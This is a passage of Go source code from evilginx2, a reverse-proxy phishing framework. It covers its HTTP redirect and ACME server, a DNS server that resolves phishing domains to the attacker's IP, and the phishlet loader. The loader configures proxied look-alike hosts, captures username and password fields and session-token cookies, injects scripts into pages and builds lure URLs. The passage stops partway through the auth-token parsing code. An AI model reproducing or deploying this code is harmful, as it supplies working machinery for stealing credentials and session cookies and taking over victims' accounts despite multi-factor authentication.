59 | if _, ok := h.sub_disp[cmd]; ok {
60 | h.sub_disp[cmd] = append(h.sub_disp[cmd], sub_disp)
61 | }
62 | }
63 |
64 | func (h *Help) GetCommands() []string {
65 | return h.cmd_names
66 | }
67 |
68 | func (h *Help) GetPrefixCommands(layer int) []string {
69 | var ret []string
70 |
71 | for cmd, c_layer := range h.cmd_layers {
72 | if layer&c_layer != 0 {
73 | ret = append(ret, cmd)
74 | }
75 | }
76 | return ret
77 | }
78 |
79 | func (h *Help) GetPrefixCompleter(layer int) *readline.PrefixCompleter {
80 | pc := readline.NewPrefixCompleter()
81 | cmds := h.GetPrefixCommands(layer)
82 | var top []readline.PrefixCompleterInterface
83 | for _, cmd := range cmds {
84 | if completer, ok := h.cmd_completer[cmd]; ok {
85 | top = append(top, completer)
86 | }
87 | }
88 | top = append(top, readline.PcItem("help", readline.PcItemDynamic(h.helpPrefixCompleter)))
89 | pc.SetChildren(top)
90 | return pc
91 | }
92 |
93 | func (h *Help) Print(layer int) {
94 | var out string
95 | yw := color.New(color.FgYellow)
96 | lb := color.New(color.FgGreen)
97 | for n, cat := range h.categories {
98 | if n > 0 {
99 | out += "\n"
100 | }
101 | cmds, ok := h.cmds[cat]
102 | if ok {
103 | out += fmt.Sprintf(" %s\n\n", yw.Sprint(cat))
104 | var rows, vals []string
105 | for _, cmd := range cmds {
106 | pcmd := cmd
107 | if layer&h.cmd_layers[cmd] != 0 {
108 | pcmd = lb.Sprint(cmd)
109 | }
110 | line_help := h.line_help[cmd]
111 | rows = append(rows, pcmd)
112 | vals = append(vals, line_help)
113 | }
114 | out += AsRows(rows, vals)
115 | }
116 | }
117 | log.Printf("\n%s\n", out)
118 | }
119 |
120 | func (h *Help) PrintBrief(cmd string) error {
121 | yw := color.New(color.FgYellow)
122 | var out string
123 | if _, ok := h.line_help[cmd]; !ok {
124 | return fmt.Errorf("command not found")
125 | }
126 | out += fmt.Sprintf(" %s\n\n", yw.Sprint(cmd))
127 | if cmd_info, ok := h.cmd_infos[cmd]; ok {
128 | if len(cmd_info) > 0 {
129 | max_line := 64
130 | n_line := 0
131 | var out_info []rune
132 | out_info = append(out_info, ' ')
133 | for _, r := range cmd_info {
134 | if r == ' ' && n_line > max_line {
135 | out_info = append(out_info, '\n')
136 | n_line = 0
137 | } else if r == '\n' {
138 | out_info = append(out_info, '\n')
139 | out_info = append(out_info, ' ')
140 | n_line = 0
141 | continue
142 | } else {
143 | n_line++
144 | }
145 | out_info = append(out_info, r)
146 | }
147 | cmd_info = string(out_info)
148 | out += fmt.Sprintf("%s\n", cmd_info)
149 | }
150 | }
151 | if subm, ok := h.sub_cmds[cmd]; ok {
152 | if subn, ok := h.sub_disp[cmd]; ok {
153 | if len(subn) > 0 {
154 | out += "\n"
155 | }
156 | var rows, vals []string
157 | for _, k := range subn {
158 | kk := k
159 | if len(kk) > 0 {
160 | kk = " " + kk
161 | }
162 | rows = append(rows, cmd+kk)
163 | vals = append(vals, subm[k])
164 | }
165 | out += AsDescription(rows, vals)
166 | }
167 | }
168 | log.Printf("\n%s\n", out)
169 | return nil
170 | }
171 |
172 | func (h *Help) helpPrefixCompleter(s string) []string {
173 | return h.GetCommands()
174 | }
175 |
--------------------------------------------------------------------------------
/core/http_server.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "github.com/gorilla/mux"
5 | "net/http"
6 | "time"
7 |
8 | "github.com/kgretzky/evilginx2/log"
9 | )
10 |
11 | type HttpServer struct {
12 | srv *http.Server
13 | acmeTokens map[string]string
14 | }
15 |
16 | func NewHttpServer() (*HttpServer, error) {
17 | s := &HttpServer{}
18 | s.acmeTokens = make(map[string]string)
19 |
20 | r := mux.NewRouter()
21 | s.srv = &http.Server{
22 | Handler: r,
23 | Addr: ":80",
24 | WriteTimeout: 15 * time.Second,
25 | ReadTimeout: 15 * time.Second,
26 | }
27 |
28 | r.HandleFunc("/.well-known/acme-challenge/{token}", s.handleACMEChallenge).Methods("GET")
29 | r.PathPrefix("/").HandlerFunc(s.handleRedirect)
30 |
31 | return s, nil
32 | }
33 |
34 | func (s *HttpServer) Start() {
35 | go s.srv.ListenAndServe()
36 | }
37 |
38 | func (s *HttpServer) AddACMEToken(token string, keyAuth string) {
39 | s.acmeTokens[token] = keyAuth
40 | }
41 |
42 | func (s *HttpServer) ClearACMETokens() {
43 | s.acmeTokens = make(map[string]string)
44 | }
45 |
46 | func (s *HttpServer) handleACMEChallenge(w http.ResponseWriter, r *http.Request) {
47 | vars := mux.Vars(r)
48 | token := vars["token"]
49 |
50 | key, ok := s.acmeTokens[token]
51 | if !ok {
52 | w.WriteHeader(http.StatusNotFound)
53 | return
54 | }
55 |
56 | log.Debug("http: found ACME verification token for URL: %s", r.URL.Path)
57 | w.WriteHeader(http.StatusOK)
58 | w.Header().Set("content-type", "text/plain")
59 | w.Write([]byte(key))
60 | }
61 |
62 | func (s *HttpServer) handleRedirect(w http.ResponseWriter, r *http.Request) {
63 | http.Redirect(w, r, "https://"+r.Host+r.URL.String(), http.StatusFound)
64 | }
65 |
--------------------------------------------------------------------------------
/core/nameserver.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "github.com/miekg/dns"
5 | "net"
6 | "strconv"
7 | "strings"
8 | "time"
9 |
10 | "github.com/kgretzky/evilginx2/log"
11 | )
12 |
13 | type Nameserver struct {
14 | srv *dns.Server
15 | cfg *Config
16 | serial uint32
17 | txt map[string]TXTField
18 | }
19 |
20 | type TXTField struct {
21 | fqdn string
22 | value string
23 | ttl int
24 | }
25 |
26 | func NewNameserver(cfg *Config) (*Nameserver, error) {
27 | n := &Nameserver{
28 | serial: uint32(time.Now().Unix()),
29 | cfg: cfg,
30 | }
31 | n.txt = make(map[string]TXTField)
32 |
33 | n.Reset()
34 |
35 | return n, nil
36 | }
37 |
38 | func (n *Nameserver) Reset() {
39 | dns.HandleFunc(pdom(n.cfg.baseDomain), n.handleRequest)
40 | }
41 |
42 | func (n *Nameserver) Start() {
43 | go func() {
44 | n.srv = &dns.Server{Addr: ":53", Net: "udp"}
45 | if err := n.srv.ListenAndServe(); err != nil {
46 | log.Fatal("Failed to start nameserver on port 53")
47 | }
48 | }()
49 | }
50 |
51 | func (n *Nameserver) AddTXT(fqdn string, value string, ttl int) {
52 | txt := TXTField{
53 | fqdn: fqdn,
54 | value: value,
55 | ttl: ttl,
56 | }
57 | n.txt[fqdn] = txt
58 | }
59 |
60 | func (n *Nameserver) ClearTXT() {
61 | n.txt = make(map[string]TXTField)
62 | }
63 |
64 | func (n *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
65 | m := new(dns.Msg)
66 | m.SetReply(r)
67 |
68 | if n.cfg.baseDomain == "" || n.cfg.serverIP == "" {
69 | return
70 | }
71 |
72 | soa := &dns.SOA{
73 | Hdr: dns.RR_Header{Name: pdom(n.cfg.baseDomain), Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 300},
74 | Ns: "ns1." + pdom(n.cfg.baseDomain),
75 | Mbox: "hostmaster." + pdom(n.cfg.baseDomain),
76 | Serial: n.serial,
77 | Refresh: 900,
78 | Retry: 900,
79 | Expire: 1800,
80 | Minttl: 60,
81 | }
82 | m.Ns = []dns.RR{soa}
83 |
84 | switch r.Question[0].Qtype {
85 | case dns.TypeA:
86 | log.Debug("DNS A: " + strings.ToLower(r.Question[0].Name) + " = " + n.cfg.serverIP)
87 | rr := &dns.A{
88 | Hdr: dns.RR_Header{Name: m.Question[0].Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 300},
89 | A: net.ParseIP(n.cfg.serverIP),
90 | }
91 | m.Answer = append(m.Answer, rr)
92 | case dns.TypeNS:
93 | log.Debug("DNS NS: " + strings.ToLower(r.Question[0].Name))
94 | if strings.ToLower(r.Question[0].Name) == pdom(n.cfg.baseDomain) {
95 | for _, i := range []int{1, 2} {
96 | rr := &dns.NS{
97 | Hdr: dns.RR_Header{Name: pdom(n.cfg.baseDomain), Rrtype: dns.TypeNS, Class: dns.ClassINET, Ttl: 300},
98 | Ns: "ns" + strconv.Itoa(i) + "." + pdom(n.cfg.baseDomain),
99 | }
100 | m.Answer = append(m.Answer, rr)
101 | }
102 | }
103 | case dns.TypeTXT:
104 | log.Debug("DNS TXT: " + strings.ToLower(r.Question[0].Name))
105 | txt, ok := n.txt[strings.ToLower(m.Question[0].Name)]
106 |
107 | if ok {
108 | rr := &dns.TXT{
109 | Hdr: dns.RR_Header{Name: m.Question[0].Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: uint32(txt.ttl)},
110 | Txt: []string{txt.value},
111 | }
112 | m.Answer = append(m.Answer, rr)
113 | }
114 | }
115 | w.WriteMsg(m)
116 | }
117 |
118 | func pdom(domain string) string {
119 | return domain + "."
120 | }
121 |
--------------------------------------------------------------------------------
/core/phishlet.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "encoding/base64"
5 | "fmt"
6 | "net/url"
7 | "regexp"
8 | "strconv"
9 | "strings"
10 |
11 | "github.com/spf13/viper"
12 | )
13 |
14 | type ProxyHost struct {
15 | phish_subdomain string
16 | orig_subdomain string
17 | domain string
18 | handle_session bool
19 | is_landing bool
20 | auto_filter bool
21 | }
22 |
23 | type SubFilter struct {
24 | subdomain string
25 | domain string
26 | mime []string
27 | regexp string
28 | replace string
29 | redirect_only bool
30 | with_params []string
31 | }
32 |
33 | type AuthToken struct {
34 | name string
35 | re *regexp.Regexp
36 | http_only bool
37 | optional bool
38 | }
39 |
40 | type PhishletVersion struct {
41 | major int
42 | minor int
43 | build int
44 | }
45 |
46 | type PostField struct {
47 | tp string
48 | key_s string
49 | key *regexp.Regexp
50 | search *regexp.Regexp
51 | }
52 |
53 | type ForcePostSearch struct {
54 | key *regexp.Regexp `mapstructure:"key"`
55 | search *regexp.Regexp `mapstructure:"search"`
56 | }
57 |
58 | type ForcePostForce struct {
59 | key string `mapstructure:"key"`
60 | value string `mapstructure:"value"`
61 | }
62 |
63 | type ForcePost struct {
64 | path *regexp.Regexp `mapstructure:"path"`
65 | search []ForcePostSearch `mapstructure:"search"`
66 | force []ForcePostForce `mapstructure:"force"`
67 | tp string `mapstructure:"type"`
68 | }
69 |
70 | type LoginUrl struct {
71 | domain string `mapstructure:"domain"`
72 | path string `mapstructure:"path"`
73 | }
74 |
75 | type JsInject struct {
76 | trigger_domains []string `mapstructure:"trigger_domains"`
77 | trigger_paths []*regexp.Regexp `mapstructure:"trigger_paths"`
78 | trigger_params []string `mapstructure:"trigger_params"`
79 | script string `mapstructure:"script"`
80 | }
81 |
82 | type Phishlet struct {
83 | Site string
84 | Name string
85 | Author string
86 | Version PhishletVersion
87 | proxyHosts []ProxyHost
88 | domains []string
89 | subfilters map[string][]SubFilter
90 | authTokens map[string][]*AuthToken
91 | authUrls []*regexp.Regexp
92 | username PostField
93 | password PostField
94 | landing_path []string
95 | cfg *Config
96 | custom []PostField
97 | forcePost []ForcePost
98 | login LoginUrl
99 | js_inject []JsInject
100 | }
101 |
102 | type ConfigProxyHost struct {
103 | PhishSub *string `mapstructure:"phish_sub"`
104 | OrigSub *string `mapstructure:"orig_sub"`
105 | Domain *string `mapstructure:"domain"`
106 | Session bool `mapstructure:"session"`
107 | IsLanding bool `mapstructure:"is_landing"`
108 | AutoFilter *bool `mapstructure:"auto_filter"`
109 | }
110 |
111 | type ConfigSubFilter struct {
112 | Hostname *string `mapstructure:"triggers_on"`
113 | Sub *string `mapstructure:"orig_sub"`
114 | Domain *string `mapstructure:"domain"`
115 | Search *string `mapstructure:"search"`
116 | Replace *string `mapstructure:"replace"`
117 | Mimes *[]string `mapstructure:"mimes"`
118 | RedirectOnly bool `mapstructure:"redirect_only"`
119 | WithParams *[]string `mapstructure:"with_params"`
120 | }
121 |
122 | type ConfigAuthToken struct {
123 | Domain string `mapstructure:"domain"`
124 | Keys []string `mapstructure:"keys"`
125 | }
126 |
127 | type ConfigPostField struct {
128 | Key *string `mapstructure:"key"`
129 | Search *string `mapstructure:"search"`
130 | Type string `mapstructure:"type"`
131 | }
132 |
133 | type ConfigCredentials struct {
134 | Username *ConfigPostField `mapstructure:"username"`
135 | Password *ConfigPostField `mapstructure:"password"`
136 | Custom *[]ConfigPostField `mapstructure:"custom"`
137 | }
138 |
139 | type ConfigForcePostSearch struct {
140 | Key *string `mapstructure:"key"`
141 | Search *string `mapstructure:"search"`
142 | }
143 |
144 | type ConfigForcePostForce struct {
145 | Key *string `mapstructure:"key"`
146 | Value *string `mapstructure:"value"`
147 | }
148 |
149 | type ConfigForcePost struct {
150 | Path *string `mapstructure:"path"`
151 | Search *[]ConfigForcePostSearch `mapstructure:"search"`
152 | Force *[]ConfigForcePostForce `mapstructure:"force"`
153 | Type *string `mapstructure:"type"`
154 | }
155 |
156 | type ConfigLogin struct {
157 | Domain *string `mapstructure:"domain"`
158 | Path *string `mapstructure:"path"`
159 | }
160 |
161 | type ConfigJsInject struct {
162 | TriggerDomains *[]string `mapstructure:"trigger_domains"`
163 | TriggerPaths *[]string `mapstructure:"trigger_paths"`
164 | TriggerParams []string `mapstructure:"trigger_params"`
165 | Script *string `mapstructure:"script"`
166 | }
167 |
168 | type ConfigPhishlet struct {
169 | Name string `mapstructure:"name"`
170 | ProxyHosts *[]ConfigProxyHost `mapstructure:"proxy_hosts"`
171 | SubFilters *[]ConfigSubFilter `mapstructure:"sub_filters"`
172 | AuthTokens *[]ConfigAuthToken `mapstructure:"auth_tokens"`
173 | AuthUrls []string `mapstructure:"auth_urls"`
174 | Credentials *ConfigCredentials `mapstructure:"credentials"`
175 | ForcePosts *[]ConfigForcePost `mapstructure:"force_post"`
176 | LandingPath *[]string `mapstructure:"landing_path"`
177 | LoginItem *ConfigLogin `mapstructure:"login"`
178 | JsInject *[]ConfigJsInject `mapstructure:"js_inject"`
179 | }
180 |
181 | func NewPhishlet(site string, path string, cfg *Config) (*Phishlet, error) {
182 | p := &Phishlet{
183 | Site: site,
184 | cfg: cfg,
185 | }
186 | p.Clear()
187 |
188 | err := p.LoadFromFile(site, path)
189 | if err != nil {
190 | return nil, err
191 | }
192 | return p, nil
193 | }
194 |
195 | func (p *Phishlet) Clear() {
196 | p.Name = ""
197 | p.Author = ""
198 | p.proxyHosts = []ProxyHost{}
199 | p.domains = []string{}
200 | p.subfilters = make(map[string][]SubFilter)
201 | p.authTokens = make(map[string][]*AuthToken)
202 | p.authUrls = []*regexp.Regexp{}
203 | p.username.key = nil
204 | p.username.search = nil
205 | p.password.key = nil
206 | p.password.search = nil
207 | p.custom = []PostField{}
208 | p.forcePost = []ForcePost{}
209 | }
210 |
211 | func (p *Phishlet) LoadFromFile(site string, path string) error {
212 | p.Clear()
213 |
214 | c := viper.New()
215 | c.SetConfigType("yaml")
216 | c.SetConfigFile(path)
217 |
218 | err := c.ReadInConfig()
219 | if err != nil {
220 | return err
221 | }
222 |
223 | p.Name = site
224 | p.Author = c.GetString("author")
225 | p.Version, err = p.parseVersion(c.GetString("min_ver"))
226 | if err != nil {
227 | return err
228 | }
229 | if !p.isVersionHigherEqual(&p.Version, "2.2.0") {
230 | return fmt.Errorf("this phishlet is incompatible with current version of evilginx.\nplease do the following modifications to update it:\n\n" +
231 | "- in each `sub_filters` item change `hostname` to `triggers_on`\n" +
232 | "- in each `sub_filters` item change `sub` to `orig_sub`\n" +
233 | "- rename section `user_regex` to `username`\n" +
234 | "- rename section `pass_regex` to `password`\n" +
235 | "- rename field `re` in both `username` and `password` to `search`\n" +
236 | "- field `key` in both `username` and `password` must be a regexp by default\n" +
237 | "- move `username` and `password` into new `credentials` section\n" +
238 | "- add `type` field to `username` and `password` with value 'post' or 'json'\n" +
239 | "- change `min_ver` to at least `2.2.0`\n" +
240 | "you can find the phishlet 2.2.0 file format documentation here: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.2.0)")
241 | }
242 | if !p.isVersionHigherEqual(&p.Version, "2.3.0") {
243 | return fmt.Errorf("this phishlet is incompatible with current version of evilginx.\nplease do the following modifications to update it:\n\n" +
244 | "- replace `landing_path` with `login` section\n" +
245 | "- change `min_ver` to at least `2.3.0`\n" +
246 | "you can find the phishlet 2.3.0 file format documentation here: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.3.0)")
247 | }
248 |
249 | fp := ConfigPhishlet{}
250 | err = c.Unmarshal(&fp)
251 | if err != nil {
252 | return err
253 | }
254 |
255 | if fp.ProxyHosts == nil {
256 | return fmt.Errorf("missing `proxy_hosts` section")
257 | }
258 | if fp.SubFilters == nil {
259 | return fmt.Errorf("missing `sub_filters` section")
260 | }
261 | if fp.AuthTokens == nil {
262 | return fmt.Errorf("missing `auth_tokens` section")
263 | }
264 | if fp.Credentials == nil {
265 | return fmt.Errorf("missing `credentials` section")
266 | }
267 | if fp.Credentials.Username == nil {
268 | return fmt.Errorf("credentials: missing `username` section")
269 | }
270 | if fp.Credentials.Password == nil {
271 | return fmt.Errorf("credentials: missing `password` section")
272 | }
273 | if fp.LoginItem == nil {
274 | return fmt.Errorf("missing `login` section")
275 | }
276 |
277 | for _, ph := range *fp.ProxyHosts {
278 | if ph.PhishSub == nil {
279 | return fmt.Errorf("proxy_hosts: missing `phish_sub` field")
280 | }
281 | if ph.OrigSub == nil {
282 | return fmt.Errorf("proxy_hosts: missing `orig_sub` field")
283 | }
284 | if ph.Domain == nil {
285 | return fmt.Errorf("proxy_hosts: missing `domain` field")
286 | }
287 | auto_filter := true
288 | if ph.AutoFilter != nil {
289 | auto_filter = *ph.AutoFilter
290 | }
291 | p.addProxyHost(*ph.PhishSub, *ph.OrigSub, *ph.Domain, ph.Session, ph.IsLanding, auto_filter)
292 | }
293 | if len(p.proxyHosts) == 0 {
294 | return fmt.Errorf("proxy_hosts: list cannot be empty")
295 | }
296 | session_set := false
297 | for _, ph := range p.proxyHosts {
298 | if ph.handle_session {
299 | session_set = true
300 | break
301 | }
302 | }
303 | if !session_set {
304 | p.proxyHosts[0].handle_session = true
305 | }
306 | landing_set := false
307 | for _, ph := range p.proxyHosts {
308 | if ph.is_landing {
309 | landing_set = true
310 | break
311 | }
312 | }
313 | if !landing_set {
314 | p.proxyHosts[0].is_landing = true
315 | }
316 |
317 | for _, sf := range *fp.SubFilters {
318 | if sf.Hostname == nil {
319 | return fmt.Errorf("sub_filters: missing `triggers_on` field")
320 | }
321 | if sf.Sub == nil {
322 | return fmt.Errorf("sub_filters: missing `orig_sub` field")
323 | }
324 | if sf.Domain == nil {
325 | return fmt.Errorf("sub_filters: missing `domain` field")
326 | }
327 | if sf.Mimes == nil {
328 | return fmt.Errorf("sub_filters: missing `mimes` field")
329 | }
330 | if sf.Search == nil {
331 | return fmt.Errorf("sub_filters: missing `search` field")
332 | }
333 | if sf.Replace == nil {
334 | return fmt.Errorf("sub_filters: missing `replace` field")
335 | }
336 | if sf.WithParams == nil {
337 | sf.WithParams = &[]string{}
338 | }
339 | p.addSubFilter(*sf.Hostname, *sf.Sub, *sf.Domain, *sf.Mimes, *sf.Search, *sf.Replace, sf.RedirectOnly, *sf.WithParams)
340 | }
341 | if fp.JsInject != nil {
342 | for _, js := range *fp.JsInject {
343 | if js.TriggerDomains == nil {
344 | return fmt.Errorf("js_inject: missing `trigger_domains` field")
345 | }
346 | if js.TriggerPaths == nil {
347 | return fmt.Errorf("js_inject: missing `trigger_paths` field")
348 | }
349 | if js.Script == nil {
350 | return fmt.Errorf("js_inject: missing `script` field")
351 | }
352 | err := p.addJsInject(*js.TriggerDomains, *js.TriggerPaths, js.TriggerParams, *js.Script)
353 | if err != nil {
354 | return err
355 | }
356 | }
357 | }
358 | for _, at := range *fp.AuthTokens {
359 | err := p.addAuthTokens(at.Domain, at.Keys)
360 | if err != nil {
361 | return err
362 | }
363 | }
364 | for _, au := range fp.AuthUrls {
365 | re, err := regexp.Compile(au)
366 | if err != nil {
367 | return err
368 | }
369 | p.authUrls = append(p.authUrls, re)
370 | }
371 |
372 | if fp.Credentials.Username.Key == nil {
373 | return fmt.Errorf("credentials: missing username `key` field")
374 | }
375 | if fp.Credentials.Username.Search == nil {
376 | return fmt.Errorf("credentials: missing username `search` field")
377 | }
378 | if fp.Credentials.Password.Key == nil {
379 | return fmt.Errorf("credentials: missing password `key` field")
380 | }
381 | if fp.Credentials.Password.Search == nil {
382 | return fmt.Errorf("credentials: missing password `search` field")
383 | }
384 |
385 | p.username.key, err = regexp.Compile(*fp.Credentials.Username.Key)
386 | if err != nil {
387 | return fmt.Errorf("credentials: %v", err)
388 | }
389 |
390 | p.username.search, err = regexp.Compile(*fp.Credentials.Username.Search)
391 | if err != nil {
392 | return fmt.Errorf("credentials: %v", err)
393 | }
394 |
395 | p.password.key, err = regexp.Compile(*fp.Credentials.Password.Key)
396 | if err != nil {
397 | return fmt.Errorf("credentials: %v", err)
398 | }
399 |
400 | p.password.search, err = regexp.Compile(*fp.Credentials.Password.Search)
401 | if err != nil {
402 | return fmt.Errorf("credentials: %v", err)
403 | }
404 |
405 | p.username.tp = fp.Credentials.Username.Type
406 | if p.username.tp == "" {
407 | p.username.tp = "post"
408 | }
409 | p.password.tp = fp.Credentials.Password.Type
410 | if p.password.tp == "" {
411 | p.password.tp = "post"
412 | }
413 | p.username.key_s = *fp.Credentials.Username.Key
414 | p.password.key_s = *fp.Credentials.Password.Key
415 |
416 | if fp.LoginItem.Domain == nil {
417 | return fmt.Errorf("login: missing `domain` field")
418 | }
419 | if fp.LoginItem.Path == nil {
420 | return fmt.Errorf("login: missing `path` field")
421 | }
422 | p.login.domain = *fp.LoginItem.Domain
423 | if p.login.domain == "" {
424 | return fmt.Errorf("login: `domain` field cannot be empty")
425 | }
426 | login_domain_ok := false
427 | for _, h := range p.proxyHosts {
428 | var check_host string
429 | if h.orig_subdomain != "" {
430 | check_host = h.orig_subdomain + "."
431 | }
432 | check_host += h.domain
433 | if strings.EqualFold(check_host, p.login.domain) {
434 | login_domain_ok = true
435 | break
436 | }
437 | }
438 | if !login_domain_ok {
439 | return fmt.Errorf("login: `domain` must contain a value of one of the hostnames (`orig_subdomain` + `domain`) defined in `proxy_hosts` section")
440 | }
441 |
442 | p.login.path = *fp.LoginItem.Path
443 | if p.login.path == "" {
444 | p.login.path = "/"
445 | }
446 | if p.login.path[0] != '/' {
447 | p.login.path = "/" + p.login.path
448 | }
449 |
450 | if fp.Credentials.Custom != nil {
451 | for _, cp := range *fp.Credentials.Custom {
452 | var err error
453 | if cp.Key == nil {
454 | return fmt.Errorf("credentials: missing custom `key` field")
455 | }
456 | if cp.Search == nil {
457 | return fmt.Errorf("credentials: missing custom `search` field")
458 | }
459 | o := PostField{}
460 | o.key, err = regexp.Compile(*cp.Key)
461 | if err != nil {
462 | return fmt.Errorf("credentials: %v", err)
463 | }
464 | o.search, err = regexp.Compile(*cp.Search)
465 | if err != nil {
466 | return err
467 | }
468 | o.tp = cp.Type
469 | if o.tp == "" {
470 | o.tp = "post"
471 | }
472 | o.key_s = *cp.Key
473 | p.custom = append(p.custom, o)
474 | }
475 | }
476 |
477 | if fp.ForcePosts != nil {
478 | for _, op := range *fp.ForcePosts {
479 | var err error
480 | if op.Path == nil || *op.Path == "" {
481 | return fmt.Errorf("force_post: missing or empty `path` field")
482 | }
483 | if op.Type == nil || *op.Type != "post" {
484 | return fmt.Errorf("force_post: unknown type - only 'post' is currently supported")
485 | }
486 | if op.Force == nil || len(*op.Force) == 0 {
487 | return fmt.Errorf("force_post: missing or empty `force` field")
488 | }
489 |
490 | fpf := ForcePost{}
491 | fpf.path, err = regexp.Compile(*op.Path)
492 | if err != nil {
493 | return err
494 | }
495 | fpf.tp = *op.Type
496 |
497 | if op.Search != nil {
498 | for _, op_s := range *op.Search {
499 | if op_s.Key == nil {
500 | return fmt.Errorf("force_post: missing search `key` field")
501 | }
502 | if op_s.Search == nil {
503 | return fmt.Errorf("force_post: missing search `search` field")
504 | }
505 |
506 | f_s := ForcePostSearch{}
507 | f_s.key, err = regexp.Compile(*op_s.Key)
508 | if err != nil {
509 | return err
510 | }
511 | f_s.search, err = regexp.Compile(*op_s.Search)
512 | if err != nil {
513 | return err
514 | }
515 | fpf.search = append(fpf.search, f_s)
516 | }
517 | }
518 | for _, op_f := range *op.Force {
519 | if op_f.Key == nil {
520 | return fmt.Errorf("force_post: missing force `key` field")
521 | }
522 | if op_f.Value == nil {
523 | return fmt.Errorf("force_post: missing force `value` field")
524 | }
525 |
526 | f_f := ForcePostForce{
527 | key: *op_f.Key,
528 | value: *op_f.Value,
529 | }
530 | fpf.force = append(fpf.force, f_f)
531 | }
532 | p.forcePost = append(p.forcePost, fpf)
533 | }
534 | }
535 |
536 | if fp.LandingPath != nil {
537 | p.landing_path = *fp.LandingPath
538 | }
539 | return nil
540 | }
541 |
542 | func (p *Phishlet) GetPhishHosts() []string {
543 | var ret []string
544 | for _, h := range p.proxyHosts {
545 | phishDomain, ok := p.cfg.GetSiteDomain(p.Site)
546 | if ok {
547 | ret = append(ret, combineHost(h.phish_subdomain, phishDomain))
548 | }
549 | }
550 | return ret
551 | }
552 |
553 | func (p *Phishlet) GetLandingUrls(redirect_url string, inc_token bool) ([]string, error) {
554 | var ret []string
555 | host := p.cfg.GetBaseDomain()
556 | for _, h := range p.proxyHosts {
557 | if h.is_landing {
558 | phishDomain, ok := p.cfg.GetSiteDomain(p.Site)
559 | if ok {
560 | host = combineHost(h.phish_subdomain, phishDomain)
561 | }
562 | }
563 | }
564 | b64_param := ""
565 | if redirect_url != "" {
566 | _, err := url.ParseRequestURI(redirect_url)
567 | if err != nil {
568 | return nil, err
569 | }
570 | b64_param = base64.URLEncoding.EncodeToString([]byte(redirect_url))
571 | }
572 |
573 | for _, u := range p.landing_path {
574 | purl := "https://" + host + u
575 | if inc_token {
576 | sep := "?"
577 | for n := len(u) - 1; n >= 0; n-- {
578 | switch u[n] {
579 | case '/':
580 | break
581 | case '?':
582 | sep = "&"
583 | }
584 | }
585 | purl += sep + p.cfg.verificationParam + "=" + p.cfg.verificationToken
586 | if b64_param != "" {
587 | purl += "&" + p.cfg.redirectParam + "=" + url.QueryEscape(b64_param)
588 | }
589 | }
590 | ret = append(ret, purl)
591 | }
592 | return ret, nil
593 | }
594 |
595 | func (p *Phishlet) GetLureUrl(path string) (string, error) {
596 | var ret string
597 | host := p.cfg.GetBaseDomain()
598 | for _, h := range p.proxyHosts {
599 | if h.is_landing {
600 | phishDomain, ok := p.cfg.GetSiteDomain(p.Site)
601 | if ok {
602 | host = combineHost(h.phish_subdomain, phishDomain)
603 | }
604 | }
605 | }
606 | ret = "https://" + host + path
607 | return ret, nil
608 | }
609 |
610 | func (p *Phishlet) GetLoginUrl() string {
611 | return "https://" + p.login.domain + p.login.path
612 | }
613 |
614 | func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[string]string) (string, error) {
615 | for _, js := range p.js_inject {
616 | host_matched := false
617 | for _, h := range js.trigger_domains {
618 | if h == strings.ToLower(hostname) {
619 | host_matched = true
620 | break
621 | }
622 | }
623 | if host_matched {
624 | path_matched := false
625 | for _, p_re := range js.trigger_paths {
626 | if p_re.MatchString(path) {
627 | path_matched = true
628 | break
629 | }
630 | }
631 | if path_matched {
632 | params_matched := false
633 | if params != nil {
634 | pcnt := 0
635 | for k := range *params {
636 | if stringExists(k, js.trigger_params) {
637 | pcnt += 1
638 | }
639 | }
640 | if pcnt == len(js.trigger_params) {
641 | params_matched = true
642 | }
643 | } else {
644 | params_matched = true
645 | }
646 |
647 | if params_matched {
648 | script := js.script
649 | if params != nil {
650 | for k, v := range *params {
651 | script = strings.Replace(script, "{"+k+"}", v, -1)
652 | }
653 | }
654 | return script, nil
655 | }
656 | }
657 | }
658 | }
659 | return "", fmt.Errorf("script not found")
660 | }
661 |
662 | func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[string]string {
663 | ret := make(map[string]map[string]string)
664 | td := make(map[string]string)
665 | for domain, tokens := range p.authTokens {
666 | ret[domain] = make(map[string]string)
667 | for _, t := range tokens {
668 | td[t.name] = domain
669 | }
670 | }
671 |
672 | for k, v := range tokens {
673 | if domain, ok := td[k]; ok {
674 | ret[domain][k] = v
675 | }
676 | }
677 | return ret
678 | }
679 |
680 | func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, domain string, handle_session bool, is_landing bool, auto_filter bool) {
681 | phish_subdomain = strings.ToLower(phish_subdomain)
682 | orig_subdomain = strings.ToLower(orig_subdomain)
683 | domain = strings.ToLower(domain)
684 | if !p.domainExists(domain) {
685 | p.domains = append(p.domains, domain)
686 | }
687 |
688 | p.proxyHosts = append(p.proxyHosts, ProxyHost{phish_subdomain: phish_subdomain, orig_subdomain: orig_subdomain, domain: domain, handle_session: handle_session, is_landing: is_landing, auto_filter: auto_filter})
689 | }
690 |
691 | func (p *Phishlet) addSubFilter(hostname string, subdomain string, domain string, mime []string, regexp string, replace string, redirect_only bool, with_params []string) {
692 | hostname = strings.ToLower(hostname)
693 | subdomain = strings.ToLower(subdomain)
694 | domain = strings.ToLower(domain)
695 | for n := range mime {
696 | mime[n] = strings.ToLower(mime[n])
697 | }
698 | p.subfilters[hostname] = append(p.subfilters[hostname], SubFilter{subdomain: subdomain, domain: domain, mime: mime, regexp: regexp, replace: replace, redirect_only: redirect_only, with_params: with_params})
699 | }
700 |
701 | func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error {
702 | p.authTokens[hostname] = []*AuthToken{}
703 | for _, tk := range tokens {
704 | st := strings.Split(tk, ",")
705 | if len(st) > 0 {
706 | name := st[0]
707 | at := &AuthToken{
708 | name: name,
709 | re: nil,
710 | http_only: false,
711 | optional: false,
712 | }
713 | for i := 1; i < len(st); i++ {
